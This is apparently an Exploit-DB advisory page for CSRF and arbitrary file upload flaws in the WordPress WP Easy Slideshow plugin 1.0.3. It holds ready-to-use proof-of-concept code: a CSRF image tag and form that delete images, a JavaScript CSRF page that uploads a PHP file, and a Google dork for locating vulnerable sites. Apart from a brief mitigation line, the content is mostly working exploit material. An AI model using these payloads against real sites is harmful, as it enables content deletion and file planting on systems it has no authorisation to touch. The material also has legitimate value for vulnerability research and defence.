Wordpress WP Easy Slideshow Plugin Multiple Vulnerabilities

vendor:

WP Easy Slideshow Plugin

by:

Divya

7.5

CVSS

HIGH

CSRF Delete Operation and Arbitrary File Upload

352, 434

CWE

Product Name: WP Easy Slideshow Plugin

Affected Version From: 1.0.3

Affected Version To: 1.0.3

Patch Exists: YES

Related CWE: None

CPE: a:wordpress:wp_easy_slideshow

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2015

WordPress WP Easy Slideshow Plugin Multiple Vulnerabilities

WordPress WP Easy Slideshow Plugin is vulnerable to Cross-Site Request Forgery (CSRF) and Arbitrary File Upload. An attacker can exploit this vulnerability to delete images and upload malicious files on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update to the latest version of the plugin.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress WP Easy Slideshow Plugin Multiple Vulnerabilities
# Google Dork: inurl:/wp-content/uploads/wp-easy-slideshow/
# Date: 2 April 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/wp-easy-slideshow/
# Software Link: https://downloads.wordpress.org/plugin/wp-easy-slideshow.zip
# Version: 1.0.3
# Tested on: Windows, Linux
# CVE : None

Delete operation using CSRF:

<img src="http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=[number]">
Example: http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=1

<html>
  <head><title>CSRF Delete Operation</title></head>
  <body>
    <form action="http://192.168.1.2/wp-admin/admin.php">
      <input type="hidden" name="page" value="wss-images" />
      <input type="hidden" name="del_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Arbitrary File Upload using CSRF:

<html>
  <head><title>WP CSRF File Upload</title></head>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/wordpress/wp-admin/admin.php?page=wss-add-image", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1559691976562");
        xhr.withCredentials = true;
        var body = "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"wss_image\"; filename=\"myfile.php\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c?php\r\n" + 
          "phpinfo();\r\n" + 
          "?\x3e\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"desc_content\"\r\n" + 
          "\r\n" + 
          "CSRF File Upload\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"image_link\"\r\n" + 
          "\r\n" + 
          "linkData\r\n" + 
          "-----------------------------1559691976562\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Submit\r\n" + 
          "-----------------------------1559691976562--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


Arbitrary File Upload (Authenticated):

URL: http://192.168.1.2/wp-admin/admin.php?page=wss-add-image

The upload script allows uploading arbitrary files. The files are renamed to numbers like 1,2,3,... The uploaded files cannot be executed on server.

Upload Location: http://192.168.1.2/wp-content/uploads/wp-easy-slideshow/